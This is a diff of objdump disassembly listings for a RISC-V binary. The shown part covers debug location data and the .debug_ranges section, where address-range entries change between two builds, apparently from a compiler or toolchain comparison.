+ 9cc:	2040                	fld	fs0,128(s0)
+ 9ce:	0001                	nop
+ 9d0:	dd5c                	sw	a5,60(a0)
+ 9d2:	4022                	0x4022
+ 9d4:	fe20                	fsw	fs0,120(a2)
+ 9d6:	4022                	0x4022
+ 9d8:	0420                	addi	s0,sp,520
+ 9da:	f300                	fsw	fs0,32(a4)
+ 9dc:	5c01                	li	s8,-32
+ 9de:	009f 0000 0000      	0x9f
+ 9e4:	0000                	unimp
+ 9e6:	cc00                	sw	s0,24(s0)
+ 9e8:	4022                	0x4022
+ 9ea:	ce20                	sw	s0,88(a2)
+ 9ec:	4022                	0x4022
+ 9ee:	0120                	addi	s0,sp,136
+ 9f0:	5a00                	lw	s0,48(a2)
+ 9f2:	22ce                	fld	ft5,208(sp)
+ 9f4:	2040                	fld	fs0,128(s0)
+ 9f6:	22d0                	fld	fa2,128(a3)
+ 9f8:	2040                	fld	fs0,128(s0)
+ 9fa:	0004                	0x4
+ 9fc:	9f5a01f3          	0x9f5a01f3
 	...
-    25e0:	02ce                	slli	t0,t0,0x13
-    25e2:	0000                	unimp
-    25e4:	02e4                	addi	s1,sp,332
-    25e6:	0000                	unimp
-    25e8:	0001                	nop
-    25ea:	0056                	c.slli	zero,0x15
-    25ec:	0000                	unimp
-    25ee:	0000                	unimp
-    25f0:	0000                	unimp
-    25f2:	d800                	sw	s0,48(s0)
-    25f4:	0002                	c.slli64	zero
-    25f6:	e000                	fsw	fs0,0(s0)
-    25f8:	0002                	c.slli64	zero
-    25fa:	0100                	addi	s0,sp,128
-    25fc:	5d00                	lw	s0,56(a0)
-    25fe:	02e0                	addi	s0,sp,332
-    2600:	0000                	unimp
-    2602:	0300                	addi	s0,sp,384
-    2604:	0000                	unimp
-    2606:	0006                	c.slli	zero,0x1
-    2608:	7f8e                	flw	ft11,224(sp)
-    260a:	008d                	addi	ra,ra,3
-    260c:	9f1a                	add	t5,t5,t1
-    260e:	0300                	addi	s0,sp,384
-    2610:	0000                	unimp
-    2612:	0318                	addi	a4,sp,384
-    2614:	0000                	unimp
-    2616:	0006                	c.slli	zero,0x1
-    2618:	008d                	addi	ra,ra,3
-    261a:	007c                	addi	a5,sp,12
-    261c:	9f1a                	add	t5,t5,t1
-    261e:	0318                	addi	a4,sp,384
-    2620:	0000                	unimp
-    2622:	0340                	addi	s0,sp,388
-    2624:	0000                	unimp
-    2626:	0006                	c.slli	zero,0x1
-    2628:	7f8e                	flw	ft11,224(sp)
-    262a:	008d                	addi	ra,ra,3
-    262c:	9f1a                	add	t5,t5,t1
+ a08:	22c6                	fld	ft5,80(sp)
+ a0a:	2040                	fld	fs0,128(s0)
+ a0c:	22ca                	fld	ft5,144(sp)
+ a0e:	2040                	fld	fs0,128(s0)
+ a10:	0001                	nop
+ a12:	ca5a                	sw	s6,20(sp)
+ a14:	4022                	0x4022
+ a16:	cc20                	sw	s0,88(s0)
+ a18:	4022                	0x4022
+ a1a:	0420                	addi	s0,sp,520
+ a1c:	f300                	fsw	fs0,32(a4)
+ a1e:	5a01                	li	s4,-32
+ a20:	009f 0000 0000      	0x9f
+ a26:	0000                	unimp
+ a28:	a400                	fsd	fs0,8(s0)
+ a2a:	4022                	0x4022
+ a2c:	ac20                	fsd	fs0,88(s0)
+ a2e:	4022                	0x4022
+ a30:	0120                	addi	s0,sp,136
+ a32:	5a00                	lw	s0,48(a2)
+ a34:	22ac                	fld	fa1,64(a3)
+ a36:	2040                	fld	fs0,128(s0)
+ a38:	22b2                	fld	ft5,264(sp)
+ a3a:	2040                	fld	fs0,128(s0)
+ a3c:	0001                	nop
+ a3e:	b25f 4022 c620      	0xc6204022b25f
+ a44:	4022                	0x4022
+ a46:	0420                	addi	s0,sp,520
+ a48:	f300                	fsw	fs0,32(a4)
+ a4a:	5a01                	li	s4,-32
+ a4c:	009f 0000 0000      	0x9f
+ a52:	0000                	unimp
+ a54:	9c00                	0x9c00
+ a56:	4022                	0x4022
+ a58:	a220                	fsd	fs0,64(a2)
+ a5a:	4022                	0x4022
+ a5c:	0120                	addi	s0,sp,136
+ a5e:	5a00                	lw	s0,48(a2)
+ a60:	22a2                	fld	ft5,8(sp)
+ a62:	2040                	fld	fs0,128(s0)
+ a64:	22a4                	fld	fs1,64(a3)
+ a66:	2040                	fld	fs0,128(s0)
+ a68:	0004                	0x4
+ a6a:	9f5a01f3          	0x9f5a01f3
 	...
-    2636:	02d0                	addi	a2,sp,324
-    2638:	0000                	unimp
-    263a:	02e8                	addi	a0,sp,332
-    263c:	0000                	unimp
-    263e:	0001                	nop
-    2640:	005c                	addi	a5,sp,4
-    2642:	0000                	unimp
-    2644:	0000                	unimp
-    2646:	0000                	unimp
-    2648:	1800                	addi	s0,sp,48
-    264a:	22000003          	lb	zero,544(zero) # 220 <__stack_size-0x5e0>
-    264e:	01000003          	lb	zero,16(zero) # 10 <__stack_size-0x7f0>
-    2652:	5c00                	lw	s0,56(s0)
+ a76:	2298                	fld	fa4,0(a3)
+ a78:	2040                	fld	fs0,128(s0)
+ a7a:	229a                	fld	ft5,384(sp)
+ a7c:	2040                	fld	fs0,128(s0)
+ a7e:	0001                	nop
+ a80:	9a5a                	add	s4,s4,s6
+ a82:	4022                	0x4022
+ a84:	9c20                	0x9c20
+ a86:	4022                	0x4022
+ a88:	0420                	addi	s0,sp,520
+ a8a:	f300                	fsw	fs0,32(a4)
+ a8c:	5a01                	li	s4,-32
+ a8e:	009f 0000 0000      	0x9f
+ a94:	0000                	unimp
 	...
 
 Disassembly of section .debug_ranges:
 
 00000000 <.debug_ranges>:
-   0:	19be                	slli	s3,s3,0x2f
+   0:	1a46                	slli	s4,s4,0x31
    2:	2040                	fld	fs0,128(s0)
-   4:	19be                	slli	s3,s3,0x2f
+   4:	1a46                	slli	s4,s4,0x31
    6:	2040                	fld	fs0,128(s0)
-   8:	19e6                	slli	s3,s3,0x39
+   8:	1a6e                	slli	s4,s4,0x3b
    a:	2040                	fld	fs0,128(s0)
-   c:	19f2                	slli	s3,s3,0x3c
+   c:	1a7a                	slli	s4,s4,0x3e
    e:	2040                	fld	fs0,128(s0)
 	...
-  18:	19fe                	slli	s3,s3,0x3f
+  18:	1a86                	slli	s5,s5,0x21
   1a:	2040                	fld	fs0,128(s0)
-  1c:	1a08                	addi	a0,sp,304
+  1c:	1a90                	addi	a2,sp,368
   1e:	2040                	fld	fs0,128(s0)
-  20:	1a0a                	slli	s4,s4,0x22
+  20:	1a92                	slli	s5,s5,0x24
   22:	2040                	fld	fs0,128(s0)
-  24:	1a0c                	addi	a1,sp,304
+  24:	1a94                	addi	a3,sp,368
   26:	2040                	fld	fs0,128(s0)
 	...
-  30:	1a3e                	slli	s4,s4,0x2f
+  30:	1ac6                	slli	s5,s5,0x31
   32:	2040                	fld	fs0,128(s0)
-  34:	1a5c                	addi	a5,sp,308
+  34:	1ae4                	addi	s1,sp,380
   36:	2040                	fld	fs0,128(s0)
-  38:	1a7e                	slli	s4,s4,0x3f
+  38:	1b06                	slli	s6,s6,0x21
   3a:	2040                	fld	fs0,128(s0)
-  3c:	1ac8                	addi	a0,sp,372
+  3c:	1b50                	addi	a2,sp,436
   3e:	2040                	fld	fs0,128(s0)
-  40:	1af4                	addi	a3,sp,380
+  40:	1b7c                	addi	a5,sp,444
   42:	2040                	fld	fs0,128(s0)
-  44:	1c8a                	slli	s9,s9,0x22
+  44:	1d12                	slli	s10,s10,0x24
   46:	2040                	fld	fs0,128(s0)
 	...
-  50:	1c8a                	slli	s9,s9,0x22
+  50:	1982                	slli	s3,s3,0x20
   52:	2040                	fld	fs0,128(s0)
-  54:	1c8a                	slli	s9,s9,0x22
+  54:	19ae                	slli	s3,s3,0x2b
   56:	2040                	fld	fs0,128(s0)
-  58:	1c92                	slli	s9,s9,0x24
+  58:	19ae                	slli	s3,s3,0x2b
   5a:	2040                	fld	fs0,128(s0)
-  5c:	1c96                	slli	s9,s9,0x25
+  5c:	1a46                	slli	s4,s4,0x31
   5e:	2040                	fld	fs0,128(s0)
 	...
-  68:	1e06                	slli	t3,t3,0x21
+  68:	198e                	slli	s3,s3,0x23
   6a:	2040                	fld	fs0,128(s0)
-  6c:	1e06                	slli	t3,t3,0x21
+  6c:	19ae                	slli	s3,s3,0x2b
   6e:	2040                	fld	fs0,128(s0)
-  70:	1e1a                	slli	t3,t3,0x26
+  70:	19b8                	addi	a4,sp,248
   72:	2040                	fld	fs0,128(s0)
-  74:	1e6a                	slli	t3,t3,0x3a
+  74:	1a2e                	slli	s4,s4,0x2b
   76:	2040                	fld	fs0,128(s0)
 	...
-  80:	1e1a                	slli	t3,t3,0x26
+  80:	1a46                	slli	s4,s4,0x31
   82:	2040                	fld	fs0,128(s0)
-  84:	1e22                	slli	t3,t3,0x28
+  84:	1d12                	slli	s10,s10,0x24
   86:	2040                	fld	fs0,128(s0)
-  88:	1e26                	slli	t3,t3,0x29
+  88:	189c                	addi	a5,sp,112
   8a:	2040                	fld	fs0,128(s0)
-  8c:	1e62                	slli	t3,t3,0x38
+  8c:	1a46                	slli	s4,s4,0x31
   8e:	2040                	fld	fs0,128(s0)
 	...
-  98:	1e1a                	slli	t3,t3,0x26
+  98:	1d12                	slli	s10,s10,0x24
   9a:	2040                	fld	fs0,128(s0)
-  9c:	1e1c                	addi	a5,sp,816
+  9c:	1d2a                	slli	s10,s10,0x2a
   9e:	2040                	fld	fs0,128(s0)
-  a0:	1e26                	slli	t3,t3,0x29
+  a0:	1d2a                	slli	s10,s10,0x2a
   a2:	2040                	fld	fs0,128(s0)
-  a4:	1e30                	addi	a2,sp,824
+  a4:	1d44                	addi	s1,sp,692
   a6:	2040                	fld	fs0,128(s0)
-	...
-  b0:	1e1c                	addi	a5,sp,816
+  a8:	1d44                	addi	s1,sp,692
+  aa:	2040                	fld	fs0,128(s0)
+  ac:	1d84                	addi	s1,sp,752
+  ae:	2040                	fld	fs0,128(s0)
+  b0:	1d84                	addi	s1,sp,752
   b2:	2040                	fld	fs0,128(s0)
-  b4:	1e1e                	slli	t3,t3,0x27
+  b4:	1e10                	addi	a2,sp,816
   b6:	2040                	fld	fs0,128(s0)
-  b8:	1e30                	addi	a2,sp,824
+  b8:	1e10                	addi	a2,sp,816
   ba:	2040                	fld	fs0,128(s0)
-  bc:	1e3a                	slli	t3,t3,0x2e
+  bc:	1e64                	addi	s1,sp,828
   be:	2040                	fld	fs0,128(s0)
 	...
-  c8:	1e90                	addi	a2,sp,880
-  ca:	2040                	fld	fs0,128(s0)
-  cc:	1e90                	addi	a2,sp,880
-  ce:	2040                	fld	fs0,128(s0)
-  d0:	1e92                	slli	t4,t4,0x24
-  d2:	2040                	fld	fs0,128(s0)
-  d4:	1ec4                	addi	s1,sp,884
-  d6:	2040                	fld	fs0,128(s0)
+  c8:	0001                	nop
+  ca:	0000                	unimp
+  cc:	0001                	nop
+  ce:	0000                	unimp
+  d0:	0001                	nop
+  d2:	0000                	unimp
+  d4:	0001                	nop
+  d6:	0000                	unimp
+  d8:	0001                	nop
+  da:	0000                	unimp
+  dc:	0001                	nop
 	...
-  e0:	1f42                	slli	t5,t5,0x30
-  e2:	2040                	fld	fs0,128(s0)
-  e4:	1f4a                	slli	t5,t5,0x32
-  e6:	2040                	fld	fs0,128(s0)
-  e8:	1f4c                	addi	a1,sp,948
-  ea:	2040                	fld	fs0,128(s0)
-  ec:	1f4e                	slli	t5,t5,0x33
-  ee:	2040                	fld	fs0,128(s0)
+  e6:	0000                	unimp
+  e8:	0001                	nop
+  ea:	0000                	unimp
+  ec:	0001                	nop
+  ee:	0000                	unimp
+  f0:	0001                	nop
+  f2:	0000                	unimp
+  f4:	0001                	nop
 	...
-  f8:	1f4a                	slli	t5,t5,0x32
-  fa:	2040                	fld	fs0,128(s0)
-  fc:	1f4c                	addi	a1,sp,948
-  fe:	2040                	fld	fs0,128(s0)
- 100:	1f4e                	slli	t5,t5,0x33
- 102:	2040                	fld	fs0,128(s0)
- 104:	1f58                	addi	a4,sp,948
- 106:	2040                	fld	fs0,128(s0)
+  fe:	0000                	unimp
+ 100:	0001                	nop
+ 102:	0000                	unimp
+ 104:	0001                	nop
+ 106:	0000                	unimp
+ 108:	0001                	nop
+ 10a:	0000                	unimp
+ 10c:	0001                	nop
 	...
- 110:	2098                	fld	fa4,0(s1)
- 112:	2040                	fld	fs0,128(s0)
- 114:	209a                	fld	ft1,384(sp)
- 116:	2040                	fld	fs0,128(s0)
- 118:	209c                	fld	fa5,0(s1)
+ 116:	0000                	unimp
+ 118:	1eb6                	slli	t4,t4,0x2d
  11a:	2040                	fld	fs0,128(s0)
- 11c:	20a0                	fld	fs0,64(s1)
+ 11c:	1eb8                	addi	a4,sp,888
  11e:	2040                	fld	fs0,128(s0)
- 120:	20c4                	fld	fs1,128(s1)
+ 120:	1eba                	slli	t4,t4,0x2e
  122:	2040                	fld	fs0,128(s0)
- 124:	2156                	fld	ft2,336(sp)
+ 124:	1eda                	slli	t4,t4,0x36
  126:	2040                	fld	fs0,128(s0)
- 128:	216c                	fld	fa1,192(a0)
- 12a:	2040                	fld	fs0,128(s0)
- 12c:	21c8                	fld	fa0,128(a1)
- 12e:	2040                	fld	fs0,128(s0)
 	...
- 138:	2098                	fld	fa4,0(s1)
+ 130:	1ee4                	addi	s1,sp,892
+ 132:	2040                	fld	fs0,128(s0)
+ 134:	1eec                	addi	a1,sp,892
+ 136:	2040                	fld	fs0,128(s0)
+ 138:	1eee                	slli	t4,t4,0x3b
  13a:	2040                	fld	fs0,128(s0)
- 13c:	209a                	fld	ft1,384(sp)
+ 13c:	1ef6                	slli	t4,t4,0x3d
  13e:	2040                	fld	fs0,128(s0)
- 140:	209c                	fld	fa5,0(s1)
- 142:	2040                	fld	fs0,128(s0)
- 144:	20a0                	fld	fs0,64(s1)
- 146:	2040                	fld	fs0,128(s0)
- 148:	20c4                	fld	fs1,128(s1)
+	...
+ 148:	2126                	fld	ft2,72(sp)
  14a:	2040                	fld	fs0,128(s0)
- 14c:	214a                	fld	ft2,144(sp)
+ 14c:	2142                	fld	ft2,16(sp)
  14e:	2040                	fld	fs0,128(s0)
- 150:	216c                	fld	fa1,192(a0)
+ 150:	2220                	fld	fs0,64(a2)
  152:	2040                	fld	fs0,128(s0)
- 154:	21c8                	fld	fa0,128(a1)
+ 154:	2298                	fld	fa4,0(a3)
  156:	2040                	fld	fs0,128(s0)
 	...
- 160:	209c                	fld	fa5,0(s1)
+ 160:	212a                	fld	ft2,136(sp)
  162:	2040                	fld	fs0,128(s0)
- 164:	20a0                	fld	fs0,64(s1)
+ 164:	2142                	fld	ft2,16(sp)
  166:	2040                	fld	fs0,128(s0)
- 168:	218c                	fld	fa1,0(a1)
+ 168:	225e                	fld	ft4,464(sp)
  16a:	2040                	fld	fs0,128(s0)
- 16c:	21c2                	fld	ft3,16(sp)
+ 16c:	2282                	fld	ft5,0(sp)
  16e:	2040                	fld	fs0,128(s0)
+ 170:	228e                	fld	ft5,192(sp)
+ 172:	2040                	fld	fs0,128(s0)
+ 174:	2298                	fld	fa4,0(a3)
+ 176:	2040                	fld	fs0,128(s0)
 	...
- 178:	21c8                	fld	fa0,128(a1)
- 17a:	2040                	fld	fs0,128(s0)
- 17c:	21c8                	fld	fa0,128(a1)
- 17e:	2040                	fld	fs0,128(s0)
- 180:	21ee                	fld	ft3,216(sp)
+ 180:	21e4                	fld	fs1,192(a1)
  182:	2040                	fld	fs0,128(s0)
- 184:	2262                	fld	ft4,24(sp)
+ 184:	21e6                	fld	ft3,88(sp)
  186:	2040                	fld	fs0,128(s0)
- 188:	227e                	fld	ft4,472(sp)
+ 188:	21f8                	fld	fa4,192(a1)
  18a:	2040                	fld	fs0,128(s0)
- 18c:	22ec                	fld	fa1,192(a3)
+ 18c:	2210                	fld	fa2,0(a2)
  18e:	2040                	fld	fs0,128(s0)
 	...
- 198:	21f0                	fld	fa2,192(a1)
- 19a:	2040                	fld	fs0,128(s0)
- 19c:	2256                	fld	ft4,336(sp)
- 19e:	2040                	fld	fs0,128(s0)
- 1a0:	227e                	fld	ft4,472(sp)
+ 198:	0001                	nop
+ 19a:	0000                	unimp
+ 19c:	0001                	nop
+ 19e:	0000                	unimp
+ 1a0:	1e64                	addi	s1,sp,828
  1a2:	2040                	fld	fs0,128(s0)
- 1a4:	22ec                	fld	fa1,192(a3)
+ 1a4:	1f10                	addi	a2,sp,944
  1a6:	2040                	fld	fs0,128(s0)
-	...
- 1b0:	2216                	fld	ft4,320(sp)
- 1b2:	2040                	fld	fs0,128(s0)
- 1b4:	221e                	fld	ft4,448(sp)
- 1b6:	2040                	fld	fs0,128(s0)
- 1b8:	223e                	fld	ft4,456(sp)
+ 1a8:	1f10                	addi	a2,sp,944
+ 1aa:	2040                	fld	fs0,128(s0)
+ 1ac:	2046                	fld	ft0,80(sp)
+ 1ae:	2040                	fld	fs0,128(s0)
+ 1b0:	0001                	nop
+ 1b2:	0000                	unimp
+ 1b4:	0001                	nop
+ 1b6:	0000                	unimp
+ 1b8:	2046                	fld	ft0,80(sp)
  1ba:	2040                	fld	fs0,128(s0)
- 1bc:	2256                	fld	ft4,336(sp)
+ 1bc:	2298                	fld	fa4,0(a3)
  1be:	2040                	fld	fs0,128(s0)
 	...
- 1c8:	236c                	fld	fa1,192(a4)
+ 1c8:	230e                	fld	ft6,192(sp)
  1ca:	2040                	fld	fs0,128(s0)
- 1cc:	2374                	fld	fa3,192(a4)
+ 1cc:	231e                	fld	ft6,448(sp)
  1ce:	2040                	fld	fs0,128(s0)
- 1d0:	2380                	fld	fs0,0(a5)
+ 1d0:	2328                	fld	fa0,64(a4)
  1d2:	2040                	fld	fs0,128(s0)
- 1d4:	2384                	fld	fs1,0(a5)
+ 1d4:	2334                	fld	fa3,64(a4)
  1d6:	2040                	fld	fs0,128(s0)
- 1d8:	23b2                	fld	ft7,264(sp)
- 1da:	2040                	fld	fs0,128(s0)
- 1dc:	23f8                	fld	fa4,192(a5)
- 1de:	2040                	fld	fs0,128(s0)
 	...
- 1e8:	24e0                	fld	fs0,200(s1)
+ 1e0:	234e                	fld	ft6,208(sp)
+ 1e2:	2040                	fld	fs0,128(s0)
+ 1e4:	235a                	fld	ft6,400(sp)
+ 1e6:	2040                	fld	fs0,128(s0)
+ 1e8:	2366                	fld	ft6,88(sp)
  1ea:	2040                	fld	fs0,128(s0)
- 1ec:	24e4                	fld	fs1,200(s1)
+ 1ec:	2386                	fld	ft7,64(sp)
  1ee:	2040                	fld	fs0,128(s0)
- 1f0:	2514                	fld	fa3,8(a0)
- 1f2:	2040                	fld	fs0,128(s0)
- 1f4:	2544                	fld	fs1,136(a0)
- 1f6:	2040                	fld	fs0,128(s0)
 	...
- 200:	25b8                	fld	fa4,72(a1)
+ 1f8:	2298                	fld	fa4,0(a3)
+ 1fa:	2040                	fld	fs0,128(s0)
+ 1fc:	229c                	fld	fa5,0(a3)
+ 1fe:	2040                	fld	fs0,128(s0)
+ 200:	229c                	fld	fa5,0(a3)
  202:	2040                	fld	fs0,128(s0)
- 204:	25be                	fld	fa1,456(sp)
+ 204:	22a4                	fld	fs1,64(a3)
  206:	2040                	fld	fs0,128(s0)
- 208:	25c4                	fld	fs1,136(a1)
+ 208:	22a4                	fld	fs1,64(a3)
  20a:	2040                	fld	fs0,128(s0)
- 20c:	25c8                	fld	fa0,136(a1)
+ 20c:	22c6                	fld	ft5,80(sp)
  20e:	2040                	fld	fs0,128(s0)
-	...
- 218:	2714                	fld	fa3,8(a4)
+ 210:	22c6                	fld	ft5,80(sp)
+ 212:	2040                	fld	fs0,128(s0)
+ 214:	22cc                	fld	fa1,128(a3)
+ 216:	2040                	fld	fs0,128(s0)
+ 218:	22cc                	fld	fa1,128(a3)
  21a:	2040                	fld	fs0,128(s0)
- 21c:	2728                	fld	fa0,72(a4)
+ 21c:	22d0                	fld	fa2,128(a3)
  21e:	2040                	fld	fs0,128(s0)
- 220:	2738                	fld	fa4,72(a4)
+ 220:	22d0                	fld	fa2,128(a3)
  222:	2040                	fld	fs0,128(s0)
- 224:	2a7a                	fld	fs4,408(sp)
+ 224:	22fe                	fld	ft5,472(sp)
  226:	2040                	fld	fs0,128(s0)
- 228:	2a7a                	fld	fs4,408(sp)
+ 228:	22fe                	fld	ft5,472(sp)
  22a:	2040                	fld	fs0,128(s0)
- 22c:	2a7c                	fld	fa5,208(a2)
+ 22c:	2338                	fld	fa4,64(a4)
  22e:	2040                	fld	fs0,128(s0)
- 230:	2a92                	fld	fs5,256(sp)
+ 230:	2338                	fld	fa4,64(a4)
  232:	2040                	fld	fs0,128(s0)
- 234:	2b1c                	fld	fa5,16(a4)
+ 234:	238a                	fld	ft7,128(sp)
  236:	2040                	fld	fs0,128(s0)
 	...
- 240:	27b2                	fld	fa5,264(sp)
- 242:	2040                	fld	fs0,128(s0)
- 244:	27c6                	fld	fa5,80(sp)
- 246:	2040                	fld	fs0,128(s0)
- 248:	2816                	fld	fa6,320(sp)
- 24a:	2040                	fld	fs0,128(s0)
- 24c:	2822                	fld	fa6,8(sp)
- 24e:	2040                	fld	fs0,128(s0)
-	...
- 258:	2928                	fld	fa0,80(a0)
- 25a:	2040                	fld	fs0,128(s0)
- 25c:	2936                	fld	fs2,328(sp)
- 25e:	2040                	fld	fs0,128(s0)
- 260:	2aba                	fld	fs5,392(sp)
- 262:	2040                	fld	fs0,128(s0)
- 264:	2ac6                	fld	fs5,80(sp)
- 266:	2040                	fld	fs0,128(s0)
-	...
- 270:	2958                	fld	fa4,144(a0)
- 272:	2040                	fld	fs0,128(s0)
- 274:	295e                	fld	fs2,464(sp)
- 276:	2040                	fld	fs0,128(s0)
- 278:	29b4                	fld	fa3,80(a1)
- 27a:	2040                	fld	fs0,128(s0)
- 27c:	29c0                	fld	fs0,144(a1)
- 27e:	2040                	fld	fs0,128(s0)
-	...
- 288:	29ec                	fld	fa1,208(a1)
- 28a:	2040                	fld	fs0,128(s0)
- 28c:	29f0                	fld	fa2,208(a1)
- 28e:	2040                	fld	fs0,128(s0)
- 290:	29fc                	fld	fa5,208(a1)
- 292:	2040                	fld	fs0,128(s0)
- 294:	2a00                	fld	fs0,16(a2)
- 296:	2040                	fld	fs0,128(s0)
- 298:	2a0e                	fld	fs4,192(sp)
- 29a:	2040                	fld	fs0,128(s0)
- 29c:	2a26                	fld	fs4,72(sp)
- 29e:	2040                	fld	fs0,128(s0)
-	...
- 2a8:	19ac                	addi	a1,sp,248
- 2aa:	2040                	fld	fs0,128(s0)
- 2ac:	19be                	slli	s3,s3,0x2f
- 2ae:	2040                	fld	fs0,128(s0)
- 2b0:	19be                	slli	s3,s3,0x2f
- 2b2:	2040                	fld	fs0,128(s0)
- 2b4:	1c8a                	slli	s9,s9,0x22
- 2b6:	2040                	fld	fs0,128(s0)
- 2b8:	1c8a                	slli	s9,s9,0x22
- 2ba:	2040                	fld	fs0,128(s0)
- 2bc:	1e04                	addi	s1,sp,816
- 2be:	2040                	fld	fs0,128(s0)
- 2c0:	1e04                	addi	s1,sp,816
- 2c2:	2040                	fld	fs0,128(s0)
- 2c4:	206c                	fld	fa1,192(s0)
- 2c6:	2040                	fld	fs0,128(s0)
- 2c8:	206c                	fld	fa1,192(s0)
- 2ca:	2040                	fld	fs0,128(s0)
- 2cc:	21c8                	fld	fa0,128(a1)
- 2ce:	2040                	fld	fs0,128(s0)
- 2d0:	21c8                	fld	fa0,128(a1)
- 2d2:	2040                	fld	fs0,128(s0)
- 2d4:	22ec                	fld	fa1,192(a3)
- 2d6:	2040                	fld	fs0,128(s0)
- 2d8:	22ec                	fld	fa1,192(a3)
- 2da:	2040                	fld	fs0,128(s0)
- 2dc:	26f8                	fld	fa4,200(a3)
- 2de:	2040                	fld	fs0,128(s0)
- 2e0:	26f8                	fld	fa4,200(a3)
- 2e2:	2040                	fld	fs0,128(s0)
- 2e4:	2b1c                	fld	fa5,16(a4)
- 2e6:	2040                	fld	fs0,128(s0)
- 2e8:	189c                	addi	a5,sp,112
- 2ea:	2040                	fld	fs0,128(s0)
- 2ec:	19ac                	addi	a1,sp,248
- 2ee:	2040                	fld	fs0,128(s0)
-	...
- 2f8:	2b96                	fld	fs7,320(sp)
- 2fa:	2040                	fld	fs0,128(s0)
- 2fc:	2ba6                	fld	fs7,72(sp)
- 2fe:	2040                	fld	fs0,128(s0)
- 300:	2bb0                	fld	fa2,80(a5)
- 302:	2040                	fld	fs0,128(s0)
- 304:	2bbc                	fld	fa5,80(a5)
- 306:	2040                	fld	fs0,128(s0)
-	...
- 310:	2bd8                	fld	fa4,144(a5)
- 312:	2040                	fld	fs0,128(s0)
- 314:	2be4                	fld	fs1,208(a5)
- 316:	2040                	fld	fs0,128(s0)
- 318:	2bf0                	fld	fa2,208(a5)
- 31a:	2040                	fld	fs0,128(s0)
- 31c:	2c10                	fld	fa2,24(s0)
- 31e:	2040                	fld	fs0,128(s0)
-	...
- 328:	2b1c                	fld	fa5,16(a4)
- 32a:	2040                	fld	fs0,128(s0)
- 32c:	2b20                	fld	fs0,80(a4)
- 32e:	2040                	fld	fs0,128(s0)
- 330:	2b20                	fld	fs0,80(a4)
- 332:	2040                	fld	fs0,128(s0)
- 334:	2b28                	fld	fa0,80(a4)
- 336:	2040                	fld	fs0,128(s0)
- 338:	2b28                	fld	fa0,80(a4)
- 33a:	2040                	fld	fs0,128(s0)
- 33c:	2b4a                	fld	fs6,144(sp)
- 33e:	2040                	fld	fs0,128(s0)
- 340:	2b4a                	fld	fs6,144(sp)
- 342:	2040                	fld	fs0,128(s0)
- 344:	2b50                	fld	fa2,144(a4)
- 346:	2040                	fld	fs0,128(s0)
- 348:	2b50                	fld	fa2,144(a4)
- 34a:	2040                	fld	fs0,128(s0)
- 34c:	2b54                	fld	fa3,144(a4)
- 34e:	2040                	fld	fs0,128(s0)
- 350:	2b54                	fld	fa3,144(a4)
- 352:	2040                	fld	fs0,128(s0)
- 354:	2b84                	fld	fs1,16(a5)
- 356:	2040                	fld	fs0,128(s0)
- 358:	2b84                	fld	fs1,16(a5)
- 35a:	2040                	fld	fs0,128(s0)
- 35c:	2bc0                	fld	fs0,144(a5)
- 35e:	2040                	fld	fs0,128(s0)
- 360:	2bc0                	fld	fs0,144(a5)
- 362:	2040                	fld	fs0,128(s0)
- 364:	2c14                	fld	fa3,24(s0)
- 366:	2040                	fld	fs0,128(s0)
-	...
- 370:	0002                	c.slli64	zero
- 372:	0000                	unimp
- 374:	0002                	c.slli64	zero
- 376:	0000                	unimp
- 378:	0004                	0x4
- 37a:	0000                	unimp
- 37c:	017a                	slli	sp,sp,0x1e
- 37e:	0000                	unimp
- 380:	017c                	addi	a5,sp,140
- 382:	0000                	unimp
- 384:	0358                	addi	a4,sp,388
- 386:	0000                	unimp
- 388:	035a                	slli	t1,t1,0x16
- 38a:	0000                	unimp
- 38c:	0360                	addi	s0,sp,396
-	...
- 396:	0000                	unimp
- 398:	001a                	c.slli	zero,0x6
- 39a:	0000                	unimp
- 39c:	003e                	c.slli	zero,0xf
- 39e:	0000                	unimp
- 3a0:	00c6                	slli	ra,ra,0x11
- 3a2:	0000                	unimp
- 3a4:	00d4                	addi	a3,sp,68
-	...
- 3ae:	0000                	unimp
- 3b0:	00c2                	slli	ra,ra,0x10
- 3b2:	0000                	unimp
- 3b4:	00c6                	slli	ra,ra,0x11
- 3b6:	0000                	unimp
- 3b8:	0268                	addi	a0,sp,268
- 3ba:	0000                	unimp
- 3bc:	0358                	addi	a4,sp,388
-	...
- 3c6:	0000                	unimp
- 3c8:	0278                	addi	a4,sp,268
- 3ca:	0000                	unimp
- 3cc:	0280                	addi	s0,sp,320
- 3ce:	0000                	unimp
- 3d0:	0290                	addi	a2,sp,320
- 3d2:	0000                	unimp
- 3d4:	02f6                	slli	t0,t0,0x1d
- 3d6:	0000                	unimp
- 3d8:	02f8                	addi	a4,sp,332
- 3da:	0000                	unimp
- 3dc:	02fa                	slli	t0,t0,0x1e
- 3de:	0000                	unimp
- 3e0:	0306                	slli	t1,t1,0x1
- 3e2:	0000                	unimp
- 3e4:	030a                	slli	t1,t1,0x2
-	...
- 3ee:	0000                	unimp
- 3f0:	02f6                	slli	t0,t0,0x1d
- 3f2:	0000                	unimp
- 3f4:	02f8                	addi	a4,sp,332
- 3f6:	0000                	unimp
- 3f8:	02fa                	slli	t0,t0,0x1e
- 3fa:	0000                	unimp
- 3fc:	0306                	slli	t1,t1,0x1
- 3fe:	0000                	unimp
- 400:	030a                	slli	t1,t1,0x2
- 402:	0000                	unimp
- 404:	0336                	slli	t1,t1,0xd
- 406:	0000                	unimp
- 408:	033e                	slli	t1,t1,0xf
- 40a:	0000                	unimp
- 40c:	034a                	slli	t1,t1,0x12
- 40e:	0000                	unimp
- 410:	034e                	slli	t1,t1,0x13
- 412:	0000                	unimp
- 414:	0350                	addi	a2,sp,388
-	...
- 41e:	0000                	unimp
- 420:	00dc                	addi	a5,sp,68
- 422:	0000                	unimp
- 424:	0100                	addi	s0,sp,128
- 426:	0000                	unimp
- 428:	017c                	addi	a5,sp,140
- 42a:	0000                	unimp
- 42c:	018a                	slli	gp,gp,0x2
-	...
- 436:	0000                	unimp
- 438:	019e                	slli	gp,gp,0x7
- 43a:	0000                	unimp
- 43c:	01a2                	slli	gp,gp,0x8
- 43e:	0000                	unimp
- 440:	01a6                	slli	gp,gp,0x9
- 442:	0000                	unimp
- 444:	0216                	slli	tp,tp,0x5
-	...
- 44e:	0000                	unimp
- 450:	021a                	slli	tp,tp,0x6
- 452:	0000                	unimp
- 454:	0246                	slli	tp,tp,0x11
- 456:	0000                	unimp
- 458:	025a                	slli	tp,tp,0x16
- 45a:	0000                	unimp
- 45c:	0268                	addi	a0,sp,268
-	...
- 466:	0000                	unimp
- 468:	0002                	c.slli64	zero
